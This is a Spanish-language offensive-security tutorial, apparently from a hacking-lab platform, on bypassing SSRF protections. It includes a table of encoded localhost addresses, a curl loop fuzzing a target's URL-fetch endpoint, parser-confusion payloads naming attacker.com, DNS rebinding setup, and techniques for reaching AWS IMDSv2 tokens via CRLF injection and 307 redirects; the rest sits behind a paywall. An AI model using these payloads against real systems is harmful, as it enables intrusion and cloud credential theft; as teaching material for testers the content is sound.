Respuesta rápida
SSRF en 2026 sigue activo porque la mayoría de allowlists validan el host antes de la resolución DNS y nunca re-validan después del redirect. La estrategia: IP encoding (decimal/hex/octal/IPv6) → DNS rebinding para target con dual-resolve → redirect chain a file:// o gopher:// → cloud metadata (AWS IMDSv2 con headers, GCP Metadata-Flavor, Azure Metadata: true) → service-specific gopher para escalar a RCE en Redis/Memcache/MySQL.
Encoding del host — el primer pase
El parser de URL del lenguaje server-side suele aceptar formas que el validator no contempla. Antes de payloads exóticos, prueba IP variants triviales:
| Forma | Equivalente | Cuándo funciona |
|---|---|---|
127.0.0.1 | localhost | Baseline, casi siempre bloqueado |
127.1 | localhost | Validators con regex ^127\.0\.0\.1$ |
127.000.000.001 | localhost | Validators que comparan literal |
2130706433 | decimal de 127.0.0.1 | Validators que no normalizan |
0x7f000001 | hex de 127.0.0.1 | Same |
017700000001 | octal de 127.0.0.1 | Curl + libcurl lo aceptan |
0 | 0.0.0.0 → bound localhost | Linux only, sorprendente que funciona |
[::] | IPv6 all-zero | Routea a localhost |
[0:0:0:0:0:ffff:127.0.0.1] | IPv4-mapped IPv6 | Bypass de validators IPv4-only |
127。0。0。1 | Unicode fullwidth dot | WHATWG parser normaliza |
localtest.me | DNS apunta a 127.0.0.1 | DNS-level resolve to localhost |
Script de fuzzing rápido
for payload in 127.0.0.1 127.1 2130706433 0x7f000001 017700000001 \
'[::]' '[::ffff:127.0.0.1]' localtest.me '127。0。0。1' 0; do
curl -s -o /dev/null -w "%{http_code} $payload\n" \
"https://target.com/api/fetch?url=http://$payload/"
done
Una respuesta distinta del 4xx baseline (302, 200, 500) indica que el payload pasa el filtro y el backend intenta conexión.
Hostname tricks — confusion entre validator y client
El validator y el HTTP client suelen usar parsers distintos. Diferencia entre WHATWG URL Standard (browsers, parser moderno) y RFC 3986 (parser legacy server-side):
http://attacker.com\@victim.com
↑ WHATWG ve "victim.com" como host (backslash = slash)
↑ RFC3986 parser server-side ve "attacker.com" como host
Si el validator está en JS (WHATWG) y el fetcher en Python (RFC3986), el bypass es trivial.
@attacker.com.victim.com
victim.com#@attacker.com
victim.com@attacker.com
victim.com?@attacker.com
attacker.com;victim.com
victim.com%2eattacker.com
DNS rebinding — el bypass universal contra TOCTOU
Cuando el validator hace una resolución DNS, confirma que es externa, y luego el fetcher hace su propia resolución, hay una ventana donde el DNS puede contestar 8.8.8.8 la primera vez y 169.254.169.254 la segunda.
Setup
- Atacante controla un DNS server (rbndr.us, DNS dinámico custom o
singularityde NCC Group). - Domain con TTL=0 que responde alternando IPs:
- Query 1:
1.2.3.4(público, pasa el validator) - Query 2:
169.254.169.254(IMDS, el fetcher conecta)
- Query 1:
Tooling
Singularity of Origin — framework all-in-one:
sudo singularity_server --target=ssrf-target.tld --dns-port=53
# Configura *.s.your-dns.com → IP de Singularity
# Payload: http://s-1-2-3-4-rebind-127-0-0-1.s.your-dns.com/
Por qué AWS IMDSv2 lo mitiga (y por qué falla)
IMDSv2 requiere:
PUT /latest/api/token(genera token de sesión).GET /latest/meta-data/...conX-aws-ec2-metadata-token: <TOKEN>.
Si el SSRF solo permite GET → bloqueado. Pero:
- Muchos parsers HTTP server-side aceptan
Host:header injection vía CRLF en URL → puedes forzar un PUT. - Métodos no estándar via libcurl:
curl -X PUTsi la primitiva permite. - Si el lenguaje usa libraries que siguen redirects 307 (que preservan método) y el atacante controla un servidor que devuelve
307 Location: http://169.254.169.254/latest/api/tokencon método PUT → token issued.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
Practica esto en un lab
Ssrf Bypasses Completo
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
SSRF — bypasses completos: localhost, IPv6, decimal, DNS y cloud metadata
11 técnicas para bypassear validación SSRF: enclosed alphanumeric, decimal IP, dot bypass, DNS rebinding, parameter pollution. Cloud metadata AWS/GCP/Azure.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
Next.js attack surface 2026 — middleware bypass, SSRF interno, RSC abuse
Vulnerabilidades específicas de Next.js 13-16: middleware bypass con headers manipulados, SSRF en API routes, RSC (React Server Components) data leak, image optimization SSRF.